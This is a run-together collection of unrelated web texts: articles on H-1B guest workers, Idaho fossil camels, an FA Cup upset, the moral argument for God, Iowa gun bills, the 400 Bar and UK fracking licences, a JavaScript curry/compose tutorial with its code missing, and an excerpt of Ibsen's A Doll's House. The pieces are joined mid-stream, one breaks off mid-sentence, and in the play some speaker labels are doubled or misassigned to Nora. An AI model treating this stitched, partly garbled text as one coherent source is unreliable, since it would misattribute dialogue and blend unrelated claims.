Nationwide, companies and universities employ roughly 800,000 lower salary white collar guest workers. That total is roughly equivalent to the number of Americans who graduate each year with degrees in business, medicine, technology, computers, and architecture. The resident population of white collar guest-workers includes roughly 100,000 lower wage professors, doctors, scientist and other professionals employed by U.S. universities and their affiliated business partners. These guest-workers help lower first-year salaries for American graduates, so lowering the Americans’ lifetime earnings.
The H-1B visa program isn’t the only program used to import foreign workers into the country. Late last year the Obama administration expended the Optional Practical Training (OPT) visa program, which is allowing 120,000 foreign students to work with companies, many of whom rely on the universities for hires.
Because of corruption, agencies are trying to crack down on fake universities that import foreign fake students for work at U.S. companies, and companies that use the H-1B system to get foreign workers for rent to American companies.
Intel’s critics say Intel has used illegal methods to reduce white-collar salaries in California’s Silicon Valley. Intel was a defendant in a 2011 class action lawsuit filed against a group of tech companies, including Apple and Google. The lawsuit was settled in 2015 for $415 million.
For its part, Intel claims that the H-1B visa program is a good thing for the country and, according to Intel spokesperson Lisa Malloy, “sustains our national competitiveness, drives economic growth, and creates jobs in the process.”
Along with other companies, such as Microsoft and Qualcomm, Intel was part of the group of business giants that allied with Democrats and with Florida Republican Sen. Marco Rubio to pressure GOP politicians to accept the 2013 “Gang of Eight” immigration bill. The unpopular bill, which included a huge increase in the importation of immigrants and H-1B guest workers, as well as a blanket amnesty for millions of illegals already here, failed when GOP voters ejected GOP House Majority Leader Rep. Eric Cantor, in his June 2014 primary election.
Since then, political outsider Donald Trump has put himself on track to the GOP’s 2016 nomination by promising to reform the nation’s immigration and guest worker systems to help Americans. For example, he has said he would reduce the inflow of H-1Bs by raising the minimum wage for H-1B workers, and has called for one year “pause” in legal immigration. Trump’s main rival, Sen. Ted Cruz, has also called for a pro-American reform of the labor market, saying it will drive up Americans’ wages and spur technology development.
Their failed GOP rivals — including Gov. Jeb Bush and Gov. Marco Rubio — declined to call for pro-American immigration reform. In fact, Bush’s economic platform called for increased outsourcing of U.S. jobs to imported foreign professionals.
Currently, four million Americans turn 18 each year, and the nation’s government annually imports roughly one million new legal immigrants and workers, plus hundreds of thousands of illegal immigrants and roughly 700,000 temporary guest workers, including the six-year H-1B professionals. In 2013, the inflow of foreign labor helped reduce wages and boosted the stock market.
Follow Warner Todd Huston on Twitter @warnerthuston or email the author at igcolonel@hotmail.comWhen someone mentions camels, what is the first image that comes to mind? For most people, it’s a dry hot desert with tall sand dunes. This is not unreasonable when we think of where the two types of modern camels live. The dromedary (single humped) is found in the Middle East (including the Sahara Desert) and the Bactrian (double humped) lives in the arid parts of Asia such as the Gobi Desert. Because of the close association of modern camels with the desert, most people are not too surprised when they find out we have fossil camels in southern Idaho. After all, with only 9 inches of precipitation a year this area is classified as a desert, so why shouldn't a camel be able to survive here. But the desert we see today didn't exist in southern Idaho 3 million years ago. Camels originated in North American about 50 million years ago and their presence in the Old World is a recent event, geologically speaking. Most of their history is preserved in the fossil record in North America. Based on this record we know that most camels didn't live in deserts but were adapted to grasslands and parkland situations. Certainly the camels we find in Hagerman Fossil Beds weren't living in a desert. The presence of animals such as beaver, otter, muskrat, turtles, frogs and waterfowl indicate extensive wetlands in the Hagerman area the 2 to 3 million years ago when camels roamed here. In fact, camels probably didn't adapt to desert conditions until after they dispersed into Asia and the Middle East. Past evidence for camels and their close relatives, llamas, at Hagerman has been scanty. The few bits and pieces, such as isolated teeth and toe bones didn't tell us much about these animals except that they were here. However, our knowledge of camels at Hagerman Fossil Beds took a giant step forward with the discovery of a complete skull of the extinct genus Camelops, whose name when translated, literally means camel face. Camelops has been found in a number of other places in Idaho, such as American Falls Reservoir. It is also known from many other localities in the western United States, including the well known La Brea Tar Pits, California. All of these other sites are from the younger Pleistocene epoch (known more popularly as the Ice Age). Our newly discovered skull is certainly a different species from the Ice Age Camelops. We are not yet sure which species of Camelops we have because specimens preserved from older rocks are few and far between. This complete skull from the Monument greatly enhances our understanding of the early history of Camelops. This skull is exciting for another important and totally unexpected reason. It came from a layer that wasn't supposed to have any bones in it! All previous discoveries of fossils in the Monument were made in the Glenns Ferry Formation, which is mostly composed of fine sands, silts and clays. Sitting on top of the Glenns Ferry Formation is a thick layer of coarse gravel known as the Tuana Gravels. Bones are rarely preserved in coarse gravels because the tumbling action of the gravel in fast moving water tends to break bone into small pieces. As it turns out, on top of the gravels is another layer of fine river channel sands, just right for preserving bone, and it was in this layer that the skull of Camelops was found. We don't know for sure the age of our new discovery but because of its position above the Glenns Ferry Formation we can be sure that it is younger than all the typical fossils found at the Monument. Perhaps it is as young as 2 million years or maybe younger. Although our skull of Camelops will provide much new information, more importantly it shows that even after 65 years of research, there is still much more to be learned about the Monument's fossils and geology. Return to Chart
This article originally appeared in The Fossil Record, July 1994Salford City bridged a 59-place gap in the football pyramid to knock League Two Notts County out of the FA Cup with an historic win at Moor Lane.
The Northern Premier League Premier Division part-timers, co-owned by five ex-Manchester United players, were making their first-round debut.
Danny Webber bundled home James Poole's cross 18 seconds into the second half.
Salford's record £5,000 signing Jordan Hulme hit the bar before Richie Allen's sensational strike sealed the victory.
Allen's 73rd-minute goal was a memorable FA Cup moment that reflected Salford's superiority on the night.
The former AFC Fylde man, with seemingly nowhere to go on the Notts goal-line, produced a stylish turn to take the ball past three defenders, before playing a one-two with Hulme and sliding the ball into the bottom corner.
Salford City are fourth in the Northern Premier League Premier Division table
It was a thoroughly deserved win in front of the live BBC television cameras for the club bought in 2014 by Ryan Giggs, Paul Scholes, Nicky Butt and brothers Phil and Gary Neville.
Salford, who created numerous other chances and hit the target five times to County's once, will find out their opponents for the second round on Monday when the draw takes place at 19:00 GMT live on BBC Two and the BBC Sport website.
Relive Salford City's historic FA Cup win
Proud night for Class of 92
The final whistle sparked a good-natured pitch invasion by many of the 1,400 jubilant home fans - around seven times the number who watched their first qualifying round tie against Whitby Town in September.
Media playback is not supported on this device Allen scores stunning goal for Salford
This was the seventh-tier club's seventh match in this year's competition, and their remarkable performance was witnessed by co-owners Gary Neville, Scholes and Butt.
Giggs, who is also Manchester United's assistant manager, watched the tie from a nearby hotel before the Red Devils' Premier League home game with West Bromwich Albion on Saturday.
Phil Neville followed the match on Twitter from Spain, where he is assistant manager of Valencia.
Notts County, 15th in the League Two table, found themselves outclassed and outwitted by a team whose joint manager Anthony Johnson had to book two days off work as a lorry driver so he could study videos and reports of their opponents.
Tickets for Salford City's tie with Notts County were sold out within four hours
'Once in a lifetime stuff'
Salford City joint manager Anthony Johnson: "It's once-in-a-lifetime stuff, that's what we told them. I didn't think we could win! They are a full-time side with top players but the boys have proved me wrong. I've never felt so emotional after a game."
Media playback is not supported on this device Salford City take shock 1-0 lead against Notts County
Salford City co-owner Gary Neville: "That was unbelievable. It puts faith back into you, it's what football is about. The FA Cup takes a battering but tonight epitomises what it is all about. I've not had a moment like that for a few years."
Salford City midfielder James Poole: "If that had been 4-0 or 5-0 I don't think Notts County could have complained. It means a lot to the owners. It's something different to what they've been involved in before in the FA Cup."
Salford City co-owner Phil Neville's celebrations were fairly low-key
'A disgrace'
Notts County boss Ricardo Moniz: "I will never forget it - a disaster for Notts County. They deserved to win, they were better. They wanted it more, circumstances were in their advantage but we never came into the game.
"You warn your players, everyone knows the scenario. But then the defending was a disgrace at this level, to give players that much room."The moral argument has experienced a resurgence of discussion and popularity of late. Some of this may be due to the increased popularity of apologetics. Philosophical discussions about metaethics also seem to have contributed to the discussions about the moral argument. Regardless, the argument, in its many and varied forms, has regained some of the spotlight in the arena of argumentation between theism and atheism. [See Glenn Peoples’ post on the topic for more historical background.]
That said, it is an unfortunate truth that many misunderstandings of the argument are perpetuated. Before turning to these, however, I’ll lay out a basic version of the argument:
P1: If there are objective moral values, then God exists.
P2: There are objective moral values.
Conclusion: Therefore, God exists.
It is not my purpose here to offer a comprehensive defense of the argument. Instead, I seek to lay out some objections to it along with some responses. I also hope to caution my fellow theists against making certain errors as they put the argument forward.
Objections
Objection 1: Objective moral values can’t exist, because there are possible worlds in which there are no agents.
The objection has been raised by comments on my site (see the comment from “SERIOUSLY?” here), but I’ve also heard it in person. Basically, the objection goes: Imagine a world in which all that existed was a rock. There would clearly be no morality in such a universe, which means that P2 must be false. Why? Because in order for there to be objective moral values, those values must be true in all possible worlds. But the world we just imagined has no morality, therefore there are no objective moral values!
The objection as outlined in italics above is just a more nuanced form of this type of argument. What is wrong with it? At the most basic level, the theist could object to the thought experiment. According to classical theism, God is a necessary being, so in every possible world, God exists. Thus, for any possible world, God exists. Thus, to say “imagine a world in which just a rock exists” begs the question against theism from the start.
But there is a more fundamental problem with this objection. Namely, the one making this objection has confused the existence of objective morals with their obtaining in a universe. In other words, it may be true that moral truths are never “activated” or never used as a judgment in a world in which only a rock exists, but that doesn’t mean such truths do not exist in that universe.
To see how this is true, consider a parallel situation. The statement “2+2=4” is a paradigm statement for a necessary truth. Whether in this world or in any other world, it will be the case that when we add two and two, we get four. Now consider again a world in which all that exists is a rock. In fact, take it back a step further and say that all that exists is the most basic particle possible–it is indivisible and as simple as physically possible. In this universe, just one thing exists. The truth, “2+2=4” therefore never will obtain in such a world. But does that mean “2+2=4” is false or doesn’t exist in this world? Absolutely not. The truth is a necessary truth, and so regardless of whether there are enough objects in existence to allow it to obtain does not effect its truth value.
Similarly, if objective moral values exist, then it does not matter whether or not they obtain. They are true in every possible world, regardless of whether or not there are agents.
Objection 2: Euthyphro Dilemma- If things are good because God commands them, ‘morality’ is arbitrary. If God commands things because they are good, the standard of good is outside of God. This undermines the moral argument because it calls into question P1.
Here my response to the objection would be more like a deflection. This objection only serves as an attack on divine command theory mixed with a view of God which is not like that of classical theism. Thus, there are two immediate responses the theist can offer.
First, the theist can ascribe to a metaethical theory other than divine command ethics. For example, one might adhere to a modified virtue theory or perhaps something like divine motivation theory. Further, one could integrate divine command ethics into a different metaethic in order to preserve the driving force of divine commands in theistic metaethics while removing the difficulties of basing one’s whole system upon commands. In this way, one could simply defeat the dilemma head-on, by showing there is a third option the theist can consistently embrace.
Second, one could point out that the dilemma doesn’t actually challenge P1 at all. All it challenges is the grounds for objective morals. Certainly, if the theist embraced the horn of the dilemma in which that which is “good” is grounded outside of God, there would be a problem, but very few theists do this (and for them it seems unlikely the moral argument would be convincing). If the theist embraces the other horn–that what God commands is good/arbitrary–then that would not defeat objective morals anyway, because one could hold that even were God’s decisions arbitrary, they were still binding in all possible worlds. While this would be a bit unorthodox, it would undermine the concern that the Euthyphro dilemma serves to defeat P1. Combined with the first point, it seems this dilemma offers little to concern the theist.
All morality is relative
I prefer Greg Koukl’s tongue-in-cheek response to this type of argument: steal their stereo! If someone really argues that there is no such thing as right and wrong, test them on it! Don’t literally steal their things, but do point out inconsistencies. Everyone thinks there are things that are wrong in the world and should be prevented. If someone continues to press that these are merely illusory ideas–that things like rape, domestic abuse, murder, slavery, genocide are in fact amoral (without any moral status)–then one may simply point out the next time they complain about a moral situation. Such is the thrust of Koukl’s remark–everyone will object if you steal their stereo. Why? Because it is wrong, and we know it.
Advice to other Christians
The moral argument brings up some extremely complex metaethical discourse. While it is, in my opinion, one of the best tools in the apologist’s kit for talking to the average nonbeliever/believer to share reasons to believe, one should familiarize oneself with the complexities facing a fuller defense of the argument so they do not come up empty on a question or objection someone might raise. As always, do not be afraid to acknowledge a great question. For example, one might reply to something one hasn’t researched enough to feel comfortable answering by saying: “Great question! That’s one I haven’t thought about. Could I get back to you in a few days?”
As with any philosophical topic, the more one researches, the more questions will arise, the more interesting branches in the path one will approach, and the more one realizes that philosophy is an astoundingly complex topic. For those theists who wish to use the moral argument, I suggest doing so with a courteous, humble manner. The argument is an attempt to answer some of the hardest questions facing anyone: does God exist? is God good? what does it mean for something to be good? do objective morals exist?
Thus, theists using this argument should be prepared for some serious study. Be ready to answer some hard questions. Be open to great discussion. Above all, always have a reason.
SDG.
——
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AdvertisementsKelvin Wade’s column (“Trump’s lies hurt all of us”) that was recently published by the Daily Republic was excellent! Once again, Mr. Wade has summed it up right: Trump cannot be trusted with anything he says.
Trump has repeatedly violated his oath of office and has acted in a way that no modern president has. This should come to no great surprise to the American people since Trump ran a questionable campaign. He lacks integrity and credibility.
He showers us with many conspiracy theories on a weekly basis. He surrounds himself with people that are questionable and need to be investigated. One lie leads to another.
As Wade wrote, “why should we believe anything he says about his campaign ties to Russia?” This administration needs to be investigated by an independent, nonpartisan committee. The American people demand to know if their leader is a traitor, not just an habitual liar.”
I suspect an investigation will show that we have been duped. Write to your congressman now. No man is above the law, not even The Donald.
James M. Pointer
VacavilleFunctional programming in Javascript. Deconstructing the Pareto.js
Bruno Vinícius Blocked Unblock Follow Following Apr 14, 2016
How can we implement Curry and Compose, with bind and reduce.
Javascript logo
We currently have several libs that support javascript’s mission to be functional as Lodash, Underscore and Ramda are one of them. So why I am talking about Pareto.js? Simple as the Pareto Principle, the lib created is meant to be light and to solve 80% of your problems with 20% code.
Usually I try to learn something demystifying the “magic” behind the implementation. That’s how I started to learn Angular, and now it is being applied to functional programming. So in this post we will evaluate the implementation of Curry and Compose in Pareto.js.
Curry
Curry is the action of taking a function that takes multiple arguments and turn it into a chain of functions, each of which receive only one parameter.
Let’s see the test on this function:
To begin to demystify the magic, we have two questions to ask:
How our will function store the parameters already passed?
What does Function.prototype.bind() has to do with it?
Function.prototype.bind()
We commonly use.bind() to pass to a function a context for its execution, but we forget something important, as stated in the documentation developer.mozilla.org:
Partial Functions
The next simplest use of bind() is to make a function with pre-specified initial arguments. These arguments (if any) follow the provided this value and are then inserted at the start of the arguments passed to the target function…
Summing up:
One of the uses of.bind() is to build a function with pre specified initial arguments. These arguments will be passed after this value and will be inserted at the beginning of the arguments passed to the target function …
Hard to understand? Then we go to another example (in ES5 so you can open the devtools and test by yourself).
Note that the function myNumbers expects three parameters, every time we call.bind(this, val), the function returned by.bind() method automatically saves the passed argument.
And with that we come to the implementation of curry in Pareto.js, which will call curry.bind(this, fn, … args), stacking the parameters in the spread operator … args until the number of arguments is the same as the function wait (args.length === fn.length). If you have not understood what is … args, take a read in spread operator.
Compose
As its name suggests, Compose is to build more complex functions by simpler functions, composing them. Let the implementation in Pareto.js:
Let’s see the test of this function:
And so we have a question:
What is Array.prototype.reduce() is doing there?
Array.prototype.reduce()
Usually we think of.reduce() as an accumulator, but only in the meaning sum of values rather composition. We know that.reduce() applies a callback function on an accumulator, going trough all array elements. Let’s start the deconstruction of our compose:
We know that it takes an array of functions as arguments, through the spread operator …args;
The callback function to.reduce (), which will be executed on each item in our array, can receive up to four parameters, namely: previousValue, currentValue, index and array. But here we will only use the first two ( previousValue and currentValue ). Recalling that the first call to our callback function, previousValue will be the value of the first element of the array and currentValue will be the value of the following element ;
and. But here we will only use the first two ( and ). Recalling that the first call to our callback function, ; Our callback function will compose the function passed in previousValue with that at currentValue, adding the function declaration that it may receive N arguments (… args). Resulting in previousValue(currentValue(… args)).
According to our tests, let’s look at the steps of execution in a table:
Calls to the callback function of.reduce ()
And so we have the result of the inner function (moreExclaim) feeding the outer functions (exclaim and then toUpperCase).
And that it’s all folks. I hope this has helped you to understand the curry and compose relations with.bind() and.reduce(). Feedbacks are more than welcome and encouraged. Thanks for your time. :)
Sources:
https://en.wikipedia.org/wiki/Pareto_principle
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator
https://github.com/concretesolutions/pareto.js
https://hughfdjackson.com/javascript/why-curry-helps/Buy Photo A federal firearms transaction record, which includes a background check, lays near a selection of guns at Ron's Pawn and Gun in Des Moines. (Photo: Christopher Gannon/The Register, Christopher Gannon/The Register)Buy Photo
A trio of firearms bills have been filed in the Iowa Legislature, igniting what Republicans hope will be wide-ranging debate over expanding Second Amendment rights in the state.
Among those is a proposed amendment to the state constitution protecting Iowans' right to "acquire, keep, possess, transport, carry, transfer and use" firearms to "defend life and liberty and for all other legitimate purposes." It also would prohibit mandatory licensing, registration or special taxation of those actions.
Senate Judiciary Chairman Brad Zaun, R-Urbandale, said the bill — co-sponsored by each of the Senate's 29 Republicans — is intended to be a statement about the caucus' priorities.
"I’m getting a lot of emails from a lot of people that say, 'Hey, you Republicans are in control, and we expect big things from you,'" he said.
Brad Zaun (Photo: Special to the Register)
Because the resolution would amend the state constitution, it would have to be approved by the current General Assembly and again after new members are voted into office in 2018. Then the language would be put on the next general election ballot for voter approval in 2020.
Rep. Mary Wolfe, D-Clinton and ranking member on the House Judiciary Committee, said she has concerns with the bill — among them, that the language may be so broad as to limit the state's ability to regulate or restrict firearms use at all. But she said she also sees the value of adding into the state constitution the same language that protects Americans' right to bear arms at the federal level.
"Our Iowa Supreme Court has sometimes interpreted the Iowa constitutional provisions that are identical to the federal ones in a broader way and a more protective way," she said. "So I think it’s possible that if we did put the federal Second Amendment language into the Iowa Constitution, it would result in even more Second Amendment protections."
Either way, she said, a "yes" vote on this joint resolution would simply send the issue to the voters.
"Perhaps we should let the voters decide," she said.
Rep. Matt Windschitl, R-Missouri Valley, said he plans to introduce similar legislation in the Iowa House.
Also filed in the Senate is a bill that would make confidential the personal information of gun permit holders and another that would enact so-called "stand your ground" rules in Iowa. The latter would allow Iowans greater latitude to defend themselves or others with reasonable, deadly force before requiring them to retreat.
Zaun said he plans to take both proposals and eventually combine them into a single, broad bill that encompasses a much wider range of gun issues.
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His counterpart in the House, Rep. Chip Baltimore, R-Boone, and chair of the House Judiciary Committee, said he already has begun having conversations with Zaun and others about what issues might be included in that bill.
He said many that have been passed out of the House in recent years, including a bill that would allow those under the age of 14 to use a handgun under adult supervision, are likely to resurface.
"The devil's in the details," he said. "So that’s the process I’m going through, is looking at language, trying to come up with different scenarios that may be addressed by that language and making sure that stuff actually works the way we intend it to and doesn’t create consequences that we don’t like."
Baltimore said combining all of the related gun issues into one bill helps to streamline the legislative process, allowing lawmakers and others to discuss them "in one fell swoop."
Wolfe, though, said she would prefer to see each issue introduced and vetted individually, giving people a greater chance to weigh in on important issues. It also makes it harder for Democrats to support the final bill, she said.
"I’m sure I and my colleagues would support some of those provisions, but whether or not we’d support all of them is questionable," she said. "So it does put some of us who do support Second Amendment rights in a bad position."
Read or Share this story: http://dmreg.co/2jsokbRThe 400 Bar plans to reopen at the Mall of America
The 400 Bar in its original location on Cedar and Riverside in Minneapolis (Photo by Nate Ryan/MPR)
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Minneapolis rock club the 400 Bar—which shuttered in early 2013 after decades of hosting live music on the West Bank—announced today that it will be reborn as a new music venue on the fourth floor of the Mall of America.
In addition to providing a 1,000-capacity space for concerts (which puts it in the same ballpark as the Varsity Theater and Cabooze), the new space will include a restaurant and the new Midwest Music Museum.
According to the Minneapolis/St. Paul Business Journal, the music hall hopes to “attract a variety of acts, including rock, blues and country,” and will be able to accommodate both seated and standing-only shows.
“Many great musicians played the 400 and we are excited to have that same high caliber of music coming to Mall of America,” Mall of America executive vice president of business development Maureen Bausch said in a statement.
After the 400 Bar closed last year dozens of musicians helped to recount the venue’s history, which dates all the way back to when the building opened in 1882. It was the bar where Golden Smog, Zuzu’s Petals, and Semisonic all began, where First Ave stage manager Conrad Sverkerson kicked out his first rowdy patron, and where Peter Ostroushko was playing pool when he got the call to go play on Bob Dylan’s Blood on the Tracks.
“It was kind of a magnet—not only for musicians, but for a lot of the artists and dancers in the neighborhood,” remembered Paul Metsa, who played his first gig at the bar in 1980, while Dan Wilson of Trip Shakespeare and Semisonic had many memorable nights at the club in the late ’80s and early 1990s. “I remember the first time we did ‘Closing Time’ was at the 400 and I forgot all the words and we had to start over,” Wilson said. “But it was very appropriate because I had first heard that phrase ‘You don’t have to go home but you can’t stay here’ bellowed by a bouncer at the 400.” (That bouncer turned out to be manager Billy Sverkerson, who passed away last year.)
In the 400 Bar’s later years it was purchased and operated by brothers Bill and Tom Sullivan, who pulled in major touring acts like Elliot Smith, the Shins, and Arcade Fire. The Sullivans will still be tied to the new 400 Bar at the Mall of America, along with business partner Joe O’Brien.
Already, a humorous #400BarattheMall hashtag has popped up on Twitter, combining popular indie acts that might have played the 400 Bar on the West Bank with stores at the mall. Sample: “Sharon Jones and the Gap Kings.”
In other news, the Hard Rock Cafe has also announced they are reopening at the MOA.
Previously:Image copyright PA
The Oil and Gas Authority has awarded a raft of new licences to explore for oil and gas on the mainland of the UK.
The 93 licences to explore 159 blocks of land could pave the way for more controversial hydraulic fracturing, known as fracking.
Large parts of North East and the North West of England have been opened up for exploration.
There are also licence blocks in the Midlands, the South of England and Wales.
Around 75% of the exploration licences relate to shale oil and gas, which typically requires fracking.
The Oil & Gas Authority said a total of 95 applications for licences were received from 47 companies, covering 295 Ordnance Survey Blocks
Among the biggest winners were Ineos, with 21 |
, please do, dear Torvald, please do! I should hang the money in lovely gilt paper on the Christmas-tree. Wouldn't that be fun?
HELMER.
What do they call the birds that are always making the money fly?
NORA.
Yes, I know- spendthrifts, of course. But please do as I ask you, Torvald. Then I shall have time to think what I want most. Isn't that very sensible, now?
HELMER.
[Smiling.] Certainly; that is to say, if you really kept the money I gave you, and really spent it on something for yourself. But it all goes in housekeeping, and for all manner of useless things, and then I have to pay up again.
NORA.
But, Torvald-
HELMER.
Can you deny it, Nora dear? [He puts his arm round her.] It's a sweet little lark, but it gets through a lot of money. No one would believe how much it costs a man to keep such a little bird as you.
NORA.
For shame! How can you say so? Why, I save as much as ever I can.
HELMER.
[Laughing.] Very true- as much as you can- but that's precisely nothing.
NORA.
[Hums and smiles with covert glee.] H'm! If you only knew, Torvald, what expenses we larks and squirrels have.
HELMER.
You're a strange little being! Just like your father- always on the look-out for all the money you can lay your hands on; but the moment you have it, it seems to slip through your fingers; you never know what becomes of it. Well, one must take you as you are. It's in the blood. Yes, Nora, that sort of thing is hereditary.
NORA.
I wish I had inherited many of papa's qualities.
HELMER.
And I don't wish you anything but just what you are- my own, sweet little song-bird. But I say- it strikes me you look so- so- what shall I call it?- so suspicious to-day-
NORA.
Do I?
HELMER.
You do, indeed. Look me full in the face.
NORA.
[Looking at him.] Well?
HELMER.
[Threatening with his finger.] Hasn't the little sweet-tooth been playing pranks to-day?
NORA.
No; how can you think such a thing!
HELMER.
Didn't she just look in at the confectioner's?
NORA.
No, Torvald; really-
HELMER.
Not to sip a little jelly?
NORA.
No; certainly not.
HELMER.
Hasn't she even nibbled a macaroon or two?
NORA.
No, Torvald, indeed, indeed!
HELMER.
Well, well, well; of course I'm only joking.
NORA.
[Goes to the table on the right.] I shouldn't think of doing what you disapprove of.
HELMER.
No, I'm sure of that; and, besides, you've given me your word- [Going towards her.] Well, keep your little Christmas secrets to yourself, Nora darling. The Christmas-tree will bring them all to light, I daresay.
NORA.
Have you remembered to invite Doctor Rank?
HELMER.
No. But it's not necessary; he'll come as a matter of course. Besides, I shall ask him when he looks in to-day. I've ordered some capital wine. Nora, you can't think how I look forward to this evening.
NORA.
And I too. How the children will enjoy themselves, Torvald!
HELMER.
Ah, it's glorious to feel that one has an assured position and ample means. Isn't it delightful to think of?
NORA.
Oh, it's wonderful!
HELMER.
Do you remember last Christmas? For three whole weeks beforehand you shut yourself up every evening till long past midnight to make flowers for the Christmas-tree, and all sorts of other marvels that were to have astonished us. I was never so bored in my life.
NORA.
I didn't bore myself at all.
HELMER.
[Smiling.] But it came to little enough in the end,
NORA.
NORA.
Oh, are you going to tease me about that again? How could I help the cat getting in and pulling it all to pieces?
HELMER.
To be sure you couldn't, my poor little
NORA.
You did your best to give us all pleasure, and that's the main point. But, all the same, it's a good thing the hard times are over.
NORA.
Oh, isn't it wonderful?
HELMER.
Now I needn't sit here boring myself all alone; and you needn't tire your blessed eyes and your delicate little fingers-
NORA.
[Clapping her hands.] No, I needn't, need I, Torvald? Oh, how wonderful it is to think of? [Takes his arm.] And now I'll tell you how I think we ought to manage, Torvald. As soon as Christmas is over- [The hall-door bell rings.] Oh, there's a ring! [Arranging the room.] That's somebody come to call. How tiresome!
HELMER.
I'm "not at home" to callers; remember that.
ELLEN.
[In the doorway.] A lady to see you, ma'am.
NORA.
Show her in.
ELLEN.
[To HELMER.] And the doctor has just come, sir.
HELMER.
Has he gone into my study?
ELLEN.
Yes, sir.
[HELMER goes into his study. ELLEN ushers in MRS. LINDEN, in travelling costume, and goes out, closing the door.]
MRS. LINDEN.
[Embarrassed and hesitating.] How do you do, Nora?
NORA.
[Doubtfully.] How do you do?
MRS. LINDEN.
I see you don't recognise me!
NORA.
No, I don't think- oh yes!- I believe- [Suddenly brightening.] What, Christina! Is it really you?
MRS. LINDEN.
Yes; really I!
NORA.
Christina! And to think I didn't know you! But how could I- [More softly.] How changed you are; Christina!
MRS. LINDEN.
Yes, no doubt. In nine or ten years-
NORA.
Is it really so long since we met? Yes, so it is. Oh, the last eight years have been a happy time, I can tell you. And now you have come to town? All that long journey in mid-winter! How brave of you!
MRS. LINDEN.
I arrived by this morning's steamer.
NORA.
To have a merry Christmas, of course. Oh, how delightful! Yes, we will have a merry Christmas. Do take your things off. Aren't you frozen? [Helping her.] There; now we'll sit cosily by the fire. No, you take the arm-chair; I shall sit in this rocking-chair. [Seizes her hands.] Yes, now I can see the dear old face again. It was only at the first glance- But you're a little paler, Christina- and perhaps a little thinner.
MRS. LINDEN.
And much, much older,
NORA.
NORA.
Yes, perhaps a little older- not much- ever so little. [She suddenly checks herself; seriously.] Oh, what a thoughtless wretch I am! Here I sit chattering on, and- Dear, dear Christina, can you forgive me!
MRS. LINDEN.
What do you mean, Nora?
NORA.
[Softly.] Poor Christina! I forgot: you are a widow.
MRS. LINDEN.
Yes; my husband died three years ago.
NORA.
I know, I know; I saw it in the papers. Oh, believe me, Christina, I did mean to write to you; but I kept putting it off, and something always came in the way.
MRS. LINDEN.
I can quite understand that, Nora dear.
NORA.
No, Christina; it was horrid of me. Oh, you poor darling! how much you must have gone through!- And he left you nothing?
MRS. LINDEN.
Nothing.
NORA.
And no children?
MRS. LINDEN.
None.
NORA.
Nothing, nothing at all?
MRS. LINDEN.
Not even a sorrow or a longing to dwell upon.
NORA.
[Looking at her incredulously.] My dear Christina, how is that possible?
MRS. LINDEN.
[Smiling sadly and stroking her hair.] Oh, it happens so sometimes,
NORA.
NORA.
So utterly alone! How dreadful that must be! I have three of the loveliest children. I can't show them to you just now; they're out with their nurse. But now you must tell me everything.
MRS. LINDEN.
No, no; I want you to tell me-
NORA.
No, you must begin; I won't be egotistical to-day. To-day I'll think only of you. Oh! but I must tell you one thing- perhaps you've heard of our great stroke of fortune?
MRS. LINDEN.
No. What is it?
NORA.
Only think! my husband has been made manager of the Joint Stock Bank.
MRS. LINDEN.
Your husband! Oh, how fortunate!
NORA.
Yes; isn't it? A lawyer's position is so uncertain, you see, especially when he won't touch any business that's the least bit shady, as of course Torvald never would; and there I quite agree with him. Oh! you can imagine how glad we are. He is to enter on his new position at the New Year, and then he'll have a large salary, and percentages. In future we shall be able to live quite differently- just as we please, in fact. Oh, Christina, I feel so lighthearted and happy! It's delightful to have lots of money, and no need to worry about things, isn't it?
MRS. LINDEN.
Yes; at any rate it must be delightful to have what you need.
NORA.
No, not only what you need, but heaps of money- heaps!
MRS. LINDEN.
[Smiling.] Nora, Nora, haven't you learnt reason yet? In our school days you were a shocking little spendthrift.
NORA.
[Quietly smiling.] Yes; that's what Torvald says I am still. [Holding up her forefinger.] But "Nora, Nora" is not so silly as you all think. Oh! I haven't had the chance to be much of a spendthrift. We have both had to work.
MRS. LINDEN.
You too?
NORA.
Yes, light fancy work: crochet, and embroidery, and things of that sort; [Carelessly] and other work too. You know, of course, that Torvald left the Government service when we were married. He had little chance of promotion, and of course he required to make more money. But in the first year after our marriage he overworked himself terribly. He had to undertake all sorts of extra work, you know, and to slave early and late. He couldn't stand it, and fell dangerously ill. Then the doctors declared he must go to the South.
MRS. LINDEN.
You spent a whole year in Italy, didn't you?
NORA.
Yes, we did. It wasn't easy to manage, I can tell you. It was just after Ivar's birth. But of course we had to go. Oh, it was a wonderful, delicious journey! And it saved Torvald's life. But it cost a frightful lot of money, Christina.
MRS. LINDEN.
So I should think.
NORA.
Twelve hundred dollars! Four thousand eight hundred crowns! Isn't that a lot of money?
MRS. LINDEN.
How lucky you had the money to spend!
NORA.
We got it from father, you must know.
MRS. LINDEN.
Ah, I see. He died just about that time, didn't he?
NORA.
Yes, Christina, just then. And only think! I couldn't go and nurse him! I was expecting little Ivar's birth daily; and then I had my poor sick Torvald to attend to. Dear, kind old father! I never saw him again, Christina. Oh! that's the hardest thing I have had to bear since my marriage.
MRS. LINDEN.
I know how fond you were of him. But then you went to Italy?
NORA.
Yes; you see, we had the money, and the doctors said we must lose no time. We started a month later.
MRS. LINDEN.
And your husband came back completely cured.
NORA.
Sound as a bell.
MRS. LINDEN.
But- the doctor?
NORA.
What do you mean?
MRS. LINDEN.
I thought as I came in your servant announced the doctor-
NORA.
Oh, yes; Doctor Rank. But he doesn't come professionally. He is our best friend, and never lets a day pass without looking in. No, Torvald hasn't had an hour's illness since that time. And the children are so healthy and well, and so am I. [Jumps up and claps her hands.] Oh, Christina, Christina, what a wonderful thing it is to live and to be happy!- Oh, but it's really too horrid of me! Here am I talking about nothing but my own concerns. [Seats herself upon a footstool close to CHRISTINA, and lays her arms on her friend's lap.] Oh. don't be angry with me! Now tell me, is it really true that you didn't love your husband? What made you marry him, then?
MRS. LINDEN.
My mother was still alive, you see, bedridden and helpless; and then I had my two younger brothers to think of. I didn't think it would be right for me to refuse him.
NORA.
Perhaps it wouldn't have been. I suppose he was rich then?
MRS. LINDEN.
Very well off, I believe. But his business was uncertain. It fell to pieces at his death, and there was nothing left.
NORA.
And then-?
MRS. LINDEN.
Then I had to fight my way by keeping a shop, a little school, anything I could turn my hand to. The last three years have been one long struggle for me. But now it is over,
NORA.
My poor mother no longer needs me; she is at rest. And the boys are in business, and can look after themselves.
NORA.
How free your life must feel!
MRS. LINDEN.
